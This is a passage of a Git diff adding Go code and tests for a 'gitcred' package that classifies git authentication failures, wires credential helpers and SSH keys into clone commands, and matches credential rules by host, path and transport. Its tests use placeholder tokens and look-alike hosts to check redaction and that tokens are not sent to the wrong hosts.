+// Unwrap exposes the underlying error for errors.Is/As chains.
+func (e *AuthError) Unwrap() error { return e.Err }
+
+// authTriggerSubstrings are the git stderr fragments (all on exit 128) that
+// mark an authentication or authorization failure.
+var authTriggerSubstrings = []string{
+	"could not read Username",
+	"could not read Password",
+	"terminal prompts disabled",
+	"Authentication failed for",
+	"Invalid username or",
+	"The requested URL returned error: 401",
+	"The requested URL returned error: 403",
+	"Permission denied (publickey",
+	"Host key verification failed",
+}
+
+// ClassifyAuthError returns an *AuthError when (out, err) is an authentication
+// failure, or nil otherwise so the caller falls back to its existing wrap. The
+// gate is an *exec.ExitError with ExitCode() == 128. "Repository not found" is
+// classified only when a rule matched (a private-repo 404 that a valid token
+// would resolve); unmatched it is indistinguishable from a typo and stays
+// untyped.
+func ClassifyAuthError(cloneURL string, inj Injection, out string, err error) error {
+	var exitErr *exec.ExitError
+	if !errors.As(err, &exitErr) || exitErr.ExitCode() != 128 {
+		return nil
+	}
+	triggered := false
+	for _, sub := range authTriggerSubstrings {
+		if strings.Contains(out, sub) {
+			triggered = true
+			break
+		}
+	}
+	if !triggered && inj.Matched && strings.Contains(out, "Repository not found") {
+		triggered = true
+	}
+	if !triggered {
+		return nil
+	}
+	host, path, _ := hostPathTransport(cloneURL)
+	return &AuthError{
+		Host:       host,
+		OrgPrefix:  orgPrefix(host, path),
+		Repo:       RedactUserinfo(cloneURL),
+		Matched:    inj.Matched,
+		RuleOrigin: inj.RuleOrigin,
+		Output:     triggerLine(out),
+		Err:        err,
+	}
+}
+
+// orgPrefix returns "host/first-path-segment", or just the host when the path
+// has no segments.
+func orgPrefix(host, path string) string {
+	path = strings.Trim(path, "/")
+	if path == "" {
+		return host
+	}
+	if i := strings.IndexByte(path, '/'); i >= 0 {
+		return host + "/" + path[:i]
+	}
+	return host + "/" + path
+}
+
+// triggerLine returns the first non-empty stderr line matching a trigger, or
+// the last non-empty line as a fallback, for a terse single-line message.
+func triggerLine(out string) string {
+	lines := strings.Split(strings.TrimSpace(out), "\n")
+	last := ""
+	for _, line := range lines {
+		line = strings.TrimSpace(line)
+		if line == "" {
+			continue
+		}
+		last = line
+		for _, sub := range authTriggerSubstrings {
+			if strings.Contains(line, sub) {
+				return line
+			}
+		}
+		if strings.Contains(line, "Repository not found") {
+			return line
+		}
+	}
+	return last
+}
diff --git a/internal/gitcred/autherror_test.go b/internal/gitcred/autherror_test.go
new file mode 100644
index 0000000000..7fdcafd264
--- /dev/null
+++ b/internal/gitcred/autherror_test.go
@@ -0,0 +1,126 @@
+package gitcred
+
+import (
+	"errors"
+	"os/exec"
+	"strings"
+	"testing"
+)
+
+// exit128 returns a real *exec.ExitError with code 128.
+func exit128(t *testing.T) error {
+	t.Helper()
+	err := exec.Command("sh", "-c", "exit 128").Run()
+	var exitErr *exec.ExitError
+	if !errors.As(err, &exitErr) || exitErr.ExitCode() != 128 {
+		t.Fatalf("setup: could not produce exit-128 error, got %v", err)
+	}
+	return err
+}
+
+func exit1(t *testing.T) error {
+	t.Helper()
+	err := exec.Command("sh", "-c", "exit 1").Run()
+	if err == nil {
+		t.Fatalf("setup: expected exit-1 error")
+	}
+	return err
+}
+
+func TestClassifyAuthErrorTriggers(t *testing.T) {
+	err128 := exit128(t)
+	triggers := []string{
+		"fatal: could not read Username for 'https://github.com': terminal prompts disabled",
+		"remote: Invalid username or password.",
+		"fatal: Authentication failed for 'https://github.com/org/repo.git/'",
+		"The requested URL returned error: 401",
+		"The requested URL returned error: 403",
+		"git@github.com: Permission denied (publickey).",
+		"Host key verification failed.",
+	}
+	for _, out := range triggers {
+		got := ClassifyAuthError("https://github.com/org/repo", Injection{}, out, err128)
+		var authErr *AuthError
+		if !errors.As(got, &authErr) {
+			t.Errorf("expected AuthError for %q, got %v", out, got)
+		}
+	}
+}
+
+func TestClassifyAuthErrorExitGate(t *testing.T) {
+	got := ClassifyAuthError("https://github.com/org/repo", Injection{},
+		"fatal: Authentication failed for 'x'", exit1(t))
+	if got != nil {
+		t.Fatalf("exit != 128 must not be classified, got %v", got)
+	}
+}
+
+func TestClassifyAuthErrorNonAuthNotClassified(t *testing.T) {
+	got := ClassifyAuthError("https://github.com/org/repo", Injection{},
+		"fatal: unable to access: Could not resolve host: github.com", exit128(t))
+	if got != nil {
+		t.Fatalf("non-auth 128 failure must not be classified, got %v", got)
+	}
+}
+
+func TestClassifyRepositoryNotFoundMatchedOnly(t *testing.T) {
+	out := "remote: Repository not found.\nfatal: repository 'https://github.com/org/repo/' not found"
+	// Unmatched → not classified.
+	if got := ClassifyAuthError("https://github.com/org/repo", Injection{Matched: false}, out, exit128(t)); got != nil {
+		t.Fatalf("Repository not found unmatched must not be classified, got %v", got)
+	}
+	// Matched → classified.
+	got := ClassifyAuthError("https://github.com/org/repo", Injection{Matched: true}, out, exit128(t))
+	var authErr *AuthError
+	if !errors.As(got, &authErr) {
+		t.Fatalf("Repository not found matched must be classified, got %v", got)
+	}
+}
+
+func TestAuthErrorOrgPrefixAndStrings(t *testing.T) {
+	err128 := exit128(t)
+	out := "fatal: could not read Username for 'https://github.com': terminal prompts disabled"
+
+	unmatched := ClassifyAuthError("https://github.com/gascity/gas-city-inc", Injection{}, out, err128)
+	var u *AuthError
+	if !errors.As(unmatched, &u) {
+		t.Fatalf("expected AuthError")
+	}
+	if u.OrgPrefix != "github.com/gascity" {
+		t.Fatalf("OrgPrefix = %q, want github.com/gascity", u.OrgPrefix)
+	}
+	if !strings.Contains(u.Error(), "no credential rule matches") {
+		t.Fatalf("unmatched Error() missing phrasing: %q", u.Error())
+	}
+
+	matched := ClassifyAuthError("https://github.com/gascity/repo",
+		Injection{Matched: true, RuleOrigin: "/home/u/city/.gc/credentials.toml"}, out, err128)
+	var m *AuthError
+	if !errors.As(matched, &m) {
+		t.Fatalf("expected AuthError")
+	}
+	if !strings.Contains(m.Error(), "/home/u/city/.gc/credentials.toml was rejected") {
+		t.Fatalf("matched Error() missing origin: %q", m.Error())
+	}
+}
+
+func TestAuthErrorUnwrap(t *testing.T) {
+	err128 := exit128(t)
+	got := ClassifyAuthError("https://github.com/org/repo", Injection{},
+		"fatal: Authentication failed for 'x'", err128)
+	if !errors.Is(got, err128) {
+		t.Fatalf("Unwrap chain broken: errors.Is could not find the underlying error")
+	}
+}
+
+func TestAuthErrorRedactsUserinfo(t *testing.T) {
+	got := ClassifyAuthError("https://user:ghp_secret@github.com/org/repo", Injection{},
+		"fatal: Authentication failed for 'x'", exit128(t))
+	var authErr *AuthError
+	if !errors.As(got, &authErr) {
+		t.Fatalf("expected AuthError")
+	}
+	if strings.Contains(authErr.Error(), "ghp_secret") {
+		t.Fatalf("Error() leaked userinfo secret: %q", authErr.Error())
+	}
+}
diff --git a/internal/gitcred/inject.go b/internal/gitcred/inject.go
new file mode 100644
index 0000000000..3e1b16ee71
--- /dev/null
+++ b/internal/gitcred/inject.go
@@ -0,0 +1,112 @@
+package gitcred
+
+import (
+	"fmt"
+	"os"
+	"strings"
+)
+
+// osExecutable is the package seam for resolving the running gc binary path.
+// Tests stub it to point the deferred git-credential helper at a fixture.
+var osExecutable = os.Executable
+
+// Injection is what one network git invocation must add to authenticate. The
+// zero value means "run byte-identical to today": no extra argv, no extra env.
+type Injection struct {
+	// CfgArgs are leading `-c` flags inserted before the git subcommand. For an
+	// https match they clear ambient credential helpers and install gc as the
+	// helper; for an ssh match they are nil (ssh auth rides Env).
+	CfgArgs []string
+	// Env is appended to the runner's base environment (HermeticEnv or
+	// SanitizedEnv). For https it disables the terminal prompt and passes the
+	// non-secret city reference; for ssh it sets GIT_SSH_COMMAND with the key.
+	Env []string
+	// Matched reports whether a credential rule matched the clone URL. It drives
+	// AuthError hint selection.
+	Matched bool
+	// RuleOrigin is the file (or "$GC_GIT_CREDENTIAL_COMMAND") that supplied the
+	// matched rule; "" when unmatched.
+	RuleOrigin string
+}
+
+// CredentialedNetworkArgs decides, in the parent gc process, whether the
+// network git run for cloneURL gets credential injection.
+//
+//   - gcExe: the gc binary path; "" resolves it via the osExecutable seam.
+//   - cityRoot: "" (e.g. gc pack release) skips only the city file layer.
+//   - cloneURL: the already-normalized clone URL the seam site has in hand.
+//
+// It returns a zero Injection and nil error when no credential source exists or
+// no rule matches — the byte-identical guarantee. It fails closed (aborting the
+// network op rather than degrading to anonymous) on an unparsable rules file,
+// bad permissions, bad pointer cardinality, or a matched rule with an
+// unresolvable gcExe. Secrets are never read here.
+func CredentialedNetworkArgs(gcExe, cityRoot, cloneURL string) (Injection, error) {
+	rules, err := Load(cityRoot)
+	if err != nil {
+		return Injection{}, err
+	}
+
+	rule, matched := rules.MatchSource(cloneURL)
+	if !matched {
+		// No file rule matched. A command-layer fallback still needs gc wired as
+		// the helper for http(s) URLs so git consults it; without it, run
+		// byte-identical to today.
+		if rules.HasCommandLayer() && isHTTPCloneURL(cloneURL) {
+			return httpsInjection(gcExe, cityRoot, false, commandLayerOrigin)
+		}
+		return Injection{}, nil
+	}
+
+	if strings.TrimSpace(rule.SSHKeyFile) != "" {
+		keyPath := expandUser(rule.SSHKeyFile)
+		return Injection{
+			Env: []string{
+				fmt.Sprintf("GIT_SSH_COMMAND=ssh -i %s -o IdentitiesOnly=yes -o BatchMode=yes", shellQuote(keyPath)),
+			},
+			Matched:    true,
+			RuleOrigin: rule.Origin,
+		}, nil
+	}
+	return httpsInjection(gcExe, cityRoot, true, rule.Origin)
+}
+
+// httpsInjection builds the credential-helper injection for an http(s) clone.
+func httpsInjection(gcExe, cityRoot string, matched bool, origin string) (Injection, error) {
+	exe := strings.TrimSpace(gcExe)
+	if exe == "" {
+		resolved, err := osExecutable()
+		if err != nil {
+			return Injection{}, fmt.Errorf("resolving gc executable for credential helper: %w", err)
+		}
+		exe = resolved
+	}
+	cfg := []string{
+		"-c", "credential.helper=",
+		"-c", "credential.helper=!" + shellQuote(exe) + " git-credential",
+		"-c", "credential.useHttpPath=true",
+	}
+	env := []string{"GIT_TERMINAL_PROMPT=0"}
+	if strings.TrimSpace(cityRoot) != "" {
+		env = append(env, EnvCredentialCity+"="+cityRoot)
+	}
+	return Injection{
+		CfgArgs:    cfg,
+		Env:        env,
+		Matched:    matched,
+		RuleOrigin: origin,
+	}, nil
+}
+
+// isHTTPCloneURL reports whether cloneURL is an http(s) URL the credential
+// helper can serve.
+func isHTTPCloneURL(cloneURL string) bool {
+	_, _, tr := hostPathTransport(cloneURL)
+	return tr == transportHTTP || tr == transportHTTPS
+}
+
+// shellQuote single-quotes s for git's "!"-helper, which git runs via sh. A
+// single quote inside s is escaped as the standard '\” sequence.
+func shellQuote(s string) string {
+	return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
+}
diff --git a/internal/gitcred/inject_test.go b/internal/gitcred/inject_test.go
new file mode 100644
index 0000000000..83f45941ae
--- /dev/null
+++ b/internal/gitcred/inject_test.go
@@ -0,0 +1,289 @@
+package gitcred
+
+import (
+	"os"
+	"path/filepath"
+	"reflect"
+	"strings"
+	"testing"
+)
+
+// clearCredEnv resets the credential env so a test starts from a clean slate.
+func clearCredEnv(t *testing.T) {
+	t.Helper()
+	t.Setenv("GC_HOME", t.TempDir())
+	t.Setenv(EnvCredentialsFile, "")
+	t.Setenv(EnvCredentialCommand, "")
+	// Clear the ambient GitHub token env so the built-in github.com default rule
+	// stays inert and tests observe only their own configured rules.
+	t.Setenv("GITHUB_TOKEN", "")
+	t.Setenv("GH_TOKEN", "")
+}
+
+func stubExe(t *testing.T, path string) {
+	t.Helper()
+	prev := osExecutable
+	osExecutable = func() (string, error) { return path, nil }
+	t.Cleanup(func() { osExecutable = prev })
+}
+
+func TestInjectionZeroWhenNoFilesNoMatch(t *testing.T) {
+	clearCredEnv(t)
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if len(inj.CfgArgs) != 0 || len(inj.Env) != 0 || inj.Matched {
+		t.Fatalf("expected zero injection, got %+v", inj)
+	}
+}
+
+func TestInjectionZeroWhenTransportIncompatibleOnly(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com/org\"\nssh_key_file=\"~/.ssh/id\"\n", 0o600)
+	// https URL with only an ssh rule → no match → zero injection.
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if len(inj.CfgArgs) != 0 || len(inj.Env) != 0 || inj.Matched {
+		t.Fatalf("expected zero injection, got %+v", inj)
+	}
+}
+
+func TestInjectionHTTPSMatch(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com/org\"\nhelper=\"gh auth token\"\n", 0o600)
+
+	gcExe := "/opt/my gc/bin/gc" // path with a space to exercise sq-quoting.
+	inj, err := CredentialedNetworkArgs(gcExe, "/city", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if !inj.Matched {
+		t.Fatalf("expected matched injection")
+	}
+	wantCfg := []string{
+		"-c", "credential.helper=",
+		"-c", "credential.helper=!'/opt/my gc/bin/gc' git-credential",
+		"-c", "credential.useHttpPath=true",
+	}
+	if !reflect.DeepEqual(inj.CfgArgs, wantCfg) {
+		t.Fatalf("CfgArgs = %#v\nwant %#v", inj.CfgArgs, wantCfg)
+	}
+	wantEnv := []string{"GIT_TERMINAL_PROMPT=0", "GC_CREDENTIAL_CITY=/city"}
+	if !reflect.DeepEqual(inj.Env, wantEnv) {
+		t.Fatalf("Env = %#v\nwant %#v", inj.Env, wantEnv)
+	}
+}
+
+func TestInjectionOmitsCityWhenEmpty(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com\"\nhelper=\"gh auth token\"\n", 0o600)
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	for _, e := range inj.Env {
+		if strings.HasPrefix(e, EnvCredentialCity+"=") {
+			t.Fatalf("GC_CREDENTIAL_CITY must be omitted when cityRoot is empty, got %v", inj.Env)
+		}
+	}
+}
+
+func TestInjectionSSHMatch(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com/org\"\nssh_key_file=\"/keys/id ed\"\n", 0o600)
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "git@github.com:org/repo.git")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if inj.CfgArgs != nil {
+		t.Fatalf("ssh match must have nil CfgArgs, got %#v", inj.CfgArgs)
+	}
+	want := "GIT_SSH_COMMAND=ssh -i '/keys/id ed' -o IdentitiesOnly=yes -o BatchMode=yes"
+	if len(inj.Env) != 1 || inj.Env[0] != want {
+		t.Fatalf("Env = %#v\nwant [%q]", inj.Env, want)
+	}
+}
+
+func TestInjectionResolvesExeViaSeamWhenEmpty(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com\"\nhelper=\"gh auth token\"\n", 0o600)
+	stubExe(t, "/seam/gc")
+	inj, err := CredentialedNetworkArgs("", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if !strings.Contains(strings.Join(inj.CfgArgs, " "), "'/seam/gc' git-credential") {
+		t.Fatalf("expected seam exe in helper, got %#v", inj.CfgArgs)
+	}
+}
+
+func TestInjectionFailsClosedOnBadPerms(t *testing.T) {
+	city := t.TempDir()
+	clearCredEnv(t)
+	writeCredFile(t, filepath.Join(city, ".gc", "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com\"\nhelper=\"x\"\n", 0o644)
+	if _, err := CredentialedNetworkArgs("/usr/bin/gc", city, "https://github.com/org/repo"); err == nil {
+		t.Fatalf("expected fail-closed error on bad perms")
+	}
+}
+
+func TestInjectionMatchedUnresolvableExe(t *testing.T) {
+	home := t.TempDir()
+	clearCredEnv(t)
+	t.Setenv("GC_HOME", home)
+	writeCredFile(t, filepath.Join(home, "credentials.toml"),
+		"[[credential]]\nmatch=\"github.com\"\nhelper=\"x\"\n", 0o600)
+	prev := osExecutable
+	osExecutable = func() (string, error) { return "", os.ErrNotExist }
+	t.Cleanup(func() { osExecutable = prev })
+	if _, err := CredentialedNetworkArgs("", "", "https://github.com/org/repo"); err == nil {
+		t.Fatalf("expected error when matched rule has unresolvable gcExe")
+	}
+}
+
+func TestInjectionCommandLayerWiresHelper(t *testing.T) {
+	clearCredEnv(t)
+	t.Setenv(EnvCredentialCommand, "my-helper get")
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if len(inj.CfgArgs) == 0 {
+		t.Fatalf("command layer must wire gc as the helper for https URLs")
+	}
+	if inj.Matched {
+		t.Fatalf("command-layer fallback is not a rule match")
+	}
+}
+
+func TestInjectionGitHubDefaultTokenFromEnv(t *testing.T) {
+	// With no credentials.toml but an ambient GitHub token, the built-in
+	// github.com default rule authenticates an https github.com pack clone.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	stubExe(t, "/usr/bin/gc")
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if !inj.Matched {
+		t.Fatalf("expected the built-in github.com default to match, got %+v", inj)
+	}
+	if len(inj.CfgArgs) == 0 {
+		t.Fatalf("expected credential config args, got none: %+v", inj)
+	}
+}
+
+func TestInjectionGitHubDefaultPrefersGhToken(t *testing.T) {
+	// GH_TOKEN takes priority over GITHUB_TOKEN, matching the gh CLI convention
+	// the default cites: a broad GH_TOKEN PAT set alongside the workflow's
+	// repo-scoped GITHUB_TOKEN is the usual cross-repo override, so it must win.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	t.Setenv("GH_TOKEN", "gh_example")
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	rule, ok := rules.MatchSource("https://github.com/org/repo")
+	if !ok {
+		t.Fatalf("expected github.com default rule to match")
+	}
+	if rule.TokenEnv != "GH_TOKEN" {
+		t.Fatalf("TokenEnv = %q, want GH_TOKEN (priority over GITHUB_TOKEN)", rule.TokenEnv)
+	}
+}
+
+func TestInjectionGitHubDefaultOnlyGitHubHost(t *testing.T) {
+	// The default token is scoped to the exact github.com host and never offered
+	// elsewhere, including look-alike hosts that merely contain "github.com" as a
+	// substring, suffix, or subdomain label.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	rules, err := Load("")
+	if err != nil {
+		t.Fatalf("Load: %v", err)
+	}
+	for _, src := range []string{
+		"https://gitlab.example.com/org/repo",
+		"https://github.com.evil.com/org/repo",
+		"https://evil-github.com/org/repo",
+		"https://github.com.attacker.io/org/repo",
+		"https://notgithub.com/org/repo",
+	} {
+		if _, ok := rules.MatchSource(src); ok {
+			t.Fatalf("github.com default must not match look-alike host %q", src)
+		}
+	}
+}
+
+func TestInjectionGitHubDefaultHTTPSOnly(t *testing.T) {
+	// The built-in ambient token is an HTTPS convenience; it must never be
+	// offered to a plaintext http github.com clone, which would leak the bearer
+	// token over cleartext.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	stubExe(t, "/usr/bin/gc")
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "http://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if inj.Matched || len(inj.CfgArgs) != 0 || len(inj.Env) != 0 {
+		t.Fatalf("plaintext http github.com must not receive the ambient token, got %+v", inj)
+	}
+}
+
+func TestInjectionGitHubDefaultInertWithoutToken(t *testing.T) {
+	// No ambient token → byte-identical to today (no rule, no injection).
+	clearCredEnv(t)
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if len(inj.CfgArgs) != 0 || len(inj.Env) != 0 || inj.Matched {
+		t.Fatalf("expected zero injection without a token, got %+v", inj)
+	}
+}
+
+func TestInjectionCommandLayerBeatsGitHubDefault(t *testing.T) {
+	// With both a configured command layer and an ambient GitHub token, a
+	// github.com clone must route through the command-layer fallback
+	// (Matched=false, command-layer origin), not the built-in github.com
+	// default. This pins the contract the Load comment promises: an explicitly
+	// configured command helper outranks the ambient-token convenience default.
+	clearCredEnv(t)
+	t.Setenv("GITHUB_TOKEN", "ghp_example")
+	t.Setenv(EnvCredentialCommand, "my-helper get")
+	stubExe(t, "/usr/bin/gc")
+	inj, err := CredentialedNetworkArgs("/usr/bin/gc", "", "https://github.com/org/repo")
+	if err != nil {
+		t.Fatalf("CredentialedNetworkArgs: %v", err)
+	}
+	if inj.Matched {
+		t.Fatalf("command layer is a no-rule fallback; want Matched=false, got %+v", inj)
+	}
+	if inj.RuleOrigin != commandLayerOrigin {
+		t.Fatalf("RuleOrigin = %q, want %q (command-layer fallback, not the github.com default)", inj.RuleOrigin, commandLayerOrigin)
+	}
+	if len(inj.CfgArgs) == 0 {
+		t.Fatalf("expected credential-helper wiring for the command layer, got none: %+v", inj)
+	}
+}
diff --git a/internal/gitcred/match.go b/internal/gitcred/match.go
new file mode 100644
index 0000000000..fe1aec8baa
--- /dev/null
+++ b/internal/gitcred/match.go
@@ -0,0 +1,247 @@
+package gitcred
+
+import (
+	"net/url"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/remotesource"
+)
+
+// transport classifies a clone URL so the matcher can gate rule pointer types
+// against the URL shape.
+type transport int
+
+const (
+	transportUnsupported transport = iota // file://, local paths — never match
+	transportHTTP                         // plaintext http:// — token rules, but NOT the https-only built-in default
+	transportHTTPS                        // https:// — token rules and the https-only built-in default
+	transportSSH                          // ssh://, scp-form git@host: — ssh_key_file rules
+)
+
+// Match selects the credential rule for a host + repo path, assuming secure
+// https transport. Precedence is layer-order across layers (an earlier layer
+// beats a later one regardless of prefix length) and longest path-prefix within
+// a layer. Host comparison is case-insensitive; path prefixes match on
+// "/"-segment boundaries with the trailing ".git" stripped from the repo
+// segment. Because Match cannot see the request protocol, callers that serve
+// live git-credential requests must use MatchRequest so the built-in HTTPS-only
+// github.com default is withheld from plaintext http.
+func (r *Rules) Match(host, path string) (LoadedRule, bool) {
+	return r.matchTransport(host, path, transportHTTPS)
+}
+
+// MatchRequest resolves the credential rule for a parsed git-credential request,
+// classifying transport from req.Protocol so the built-in HTTPS-only github.com
+// default is never served over plaintext http. Only "https" (case-insensitive)
+// counts as secure transport; every other protocol value, including "http", is
+// treated as insecure.
+func (r *Rules) MatchRequest(req Request) (LoadedRule, bool) {
+	return r.matchTransport(req.Host, req.Path, transportForProtocol(req.Protocol))
+}
+
+// transportForProtocol maps a git-credential "protocol" value to its transport
+// class. Only "https" is secure http transport; "http" and any other value are
+// treated as insecure so HTTPS-only rules are not served over plaintext.
+func transportForProtocol(protocol string) transport {
+	if strings.EqualFold(strings.TrimSpace(protocol), "https") {
+		return transportHTTPS
+	}
+	return transportHTTP
+}
+
+// MatchSource parses source into a clone URL, extracts host + path, and returns
+// the matching rule under the full transport gate: http(s) URLs match only
+// helper/token_file/token_env rules; ssh/scp-form URLs match only ssh_key_file
+// rules; file:// and local sources never match.
+func (r *Rules) MatchSource(source string) (LoadedRule, bool) {
+	cloneURL := remotesource.Parse(source).CloneURL
+	host, path, tr := hostPathTransport(cloneURL)
+	if tr == transportUnsupported {
+		return LoadedRule{}, false
+	}
+	return r.matchTransport(host, path, tr)
+}
+
+// matchTransport applies layer-order-outer / longest-prefix-inner selection
+// with a transport-compatibility gate. Rules incompatible with tr are skipped
+// and matching continues to the next-best candidate.
+func (r *Rules) matchTransport(host, path string, tr transport) (LoadedRule, bool) {
+	host = stripHostPort(strings.ToLower(strings.TrimSpace(host)))
+	if host == "" {
+		return LoadedRule{}, false
+	}
+	candidatePath := normalizeMatchPath(path)
+	for _, lyr := range r.layers {
+		best := LoadedRule{}
+		bestLen := -1
+		for _, rule := range lyr.rules {
+			if !transportCompatible(rule.Rule, tr) {
+				continue
+			}
+			// The built-in ambient github.com token is an https convenience; never
+			// serve it over plaintext http, where the bearer token would travel in
+			// cleartext. File/command rules leave httpsOnly false and are unaffected.
+			if rule.httpsOnly && tr != transportHTTPS {
+				continue
+			}
+			mHost, mPath := splitMatch(rule.Match)
+			if mHost != host {
+				continue
+			}
+			if !pathPrefixMatches(candidatePath, mPath) {
+				continue
+			}
+			if len(mPath) > bestLen {
+				best = rule
+				bestLen = len(mPath)
+			}
+		}
+		if bestLen >= 0 {
+			return best, true
+		}
+	}
+	return LoadedRule{}, false
+}
+
+// transportCompatible reports whether rule may serve a URL of transport tr. A
+// token-style rule (helper/token_file/token_env) serves both http and https; an
+// ssh_key_file rule serves ssh. The plaintext-vs-secure http distinction is
+// enforced separately, per-rule, via the httpsOnly gate in matchTransport.
+func transportCompatible(rule Rule, tr transport) bool {
+	if strings.TrimSpace(rule.SSHKeyFile) != "" {
+		return tr == transportSSH
+	}
+	return tr == transportHTTP || tr == transportHTTPS
+}
+
+// splitMatch splits a normalized rule match ("host" or "host/path-prefix") into
+// its lowercased host and path-prefix. The trailing "/*" or "/" is already
+// stripped at authoring time, but strip defensively here too.
+func splitMatch(match string) (host, path string) {
+	match = strings.TrimSpace(match)
+	match = strings.TrimSuffix(match, "/*")
+	match = strings.TrimSuffix(match, "/")
+	if i := strings.IndexByte(match, '/'); i >= 0 {
+		return stripHostPort(strings.ToLower(match[:i])), normalizeMatchPath(match[i+1:])
+	}
+	return stripHostPort(strings.ToLower(match)), ""
+}
+
+// stripHostPort removes a trailing ":port" from a host so a credential rule is
+// matched host-scoped, not port-scoped. Git supplies the request host WITH the
+// port under credential.useHttpPath=true, while the parent's URL parse strips
+// it via url.Hostname; normalizing both sides here keeps a bare-host rule
+// matching both. An IPv6 literal ("[::1]" or "[::1]:8443") keeps its bracketed
+// address; only the port suffix after the closing bracket is dropped.
+func stripHostPort(host string) string {
+	if host == "" {
+		return ""
+	}
+	if strings.HasPrefix(host, "[") {
+		// IPv6 literal: strip only a ":port" that follows the closing bracket.
+		if end := strings.IndexByte(host, ']'); end >= 0 {
+			return host[:end+1]
+		}
+		return host
+	}
+	// A bare IPv6 address (multiple colons, no brackets) has no port; leave it.
+	if strings.Count(host, ":") > 1 {
+		return host
+	}
+	if i := strings.LastIndexByte(host, ':'); i >= 0 {
+		return host[:i]
+	}
+	return host
+}
+
+// normalizeMatchPath trims leading/trailing slashes and strips a trailing
+// ".git" on the final segment so "github.com/org/repo.git" and
+// "github.com/org/repo" match the same rule.
+func normalizeMatchPath(path string) string {
+	path = strings.Trim(path, "/")
+	if path == "" {
+		return ""
+	}
+	// Lower-case the path so host/path matching is case-insensitive on both
+	// sides (the candidate URL path and the rule match are normalized the same
+	// way). GitHub org/repo names are case-insensitive; treating the whole path
+	// this way keeps a "GitHub.com/Org" rule matching a "github.com/org" URL.
+	path = strings.ToLower(path)
+	segments := strings.Split(path, "/")
+	last := len(segments) - 1
+	segments[last] = strings.TrimSuffix(segments[last], ".git")
+	return strings.Join(segments, "/")
+}
+
+// pathPrefixMatches reports whether prefix matches candidate on "/"-segment
+// boundaries. An empty prefix (host-only rule) matches any path.
+func pathPrefixMatches(candidate, prefix string) bool {
+	if prefix == "" {
+		return true
+	}
+	if candidate == prefix {
+		return true
+	}
+	return strings.HasPrefix(candidate, prefix+"/")
+}
+
+// hostPathTransport extracts the host, repo path, and transport class from a
+// clone URL. It handles http(s)/ssh URL forms and the scp-form
+// "git@host:org/repo" shape remotesource leaves intact.
+func hostPathTransport(cloneURL string) (host, path string, tr transport) {
+	cloneURL = strings.TrimSpace(cloneURL)
+	if cloneURL == "" {
+		return "", "", transportUnsupported
+	}
+	if strings.HasPrefix(cloneURL, "file://") || !strings.Contains(cloneURL, "://") && !isSCPForm(cloneURL) {
+		return "", "", transportUnsupported
+	}
+	if scpHost, scpPath, ok := parseSCPForm(cloneURL); ok {
+		return scpHost, scpPath, transportSSH
+	}
+	u, err := url.Parse(cloneURL)
+	if err != nil {
+		return "", "", transportUnsupported
+	}
+	switch strings.ToLower(u.Scheme) {
+	case "https":
+		return u.Hostname(), strings.Trim(u.Path, "/"), transportHTTPS
+	case "http":
+		return u.Hostname(), strings.Trim(u.Path, "/"), transportHTTP
+	case "ssh":
+		return u.Hostname(), strings.Trim(u.Path, "/"), transportSSH
+	default:
+		return "", "", transportUnsupported
+	}
+}
+
+// isSCPForm reports whether s looks like an scp-form remote (user@host:path)
+// rather than a bare local path.
+func isSCPForm(s string) bool {
+	_, _, ok := parseSCPForm(s)
+	return ok
+}
+
+// parseSCPForm parses the scp-form "user@host:org/repo" remote shape. It
+// requires an "@", a ":" after the host, and rejects absolute local paths and
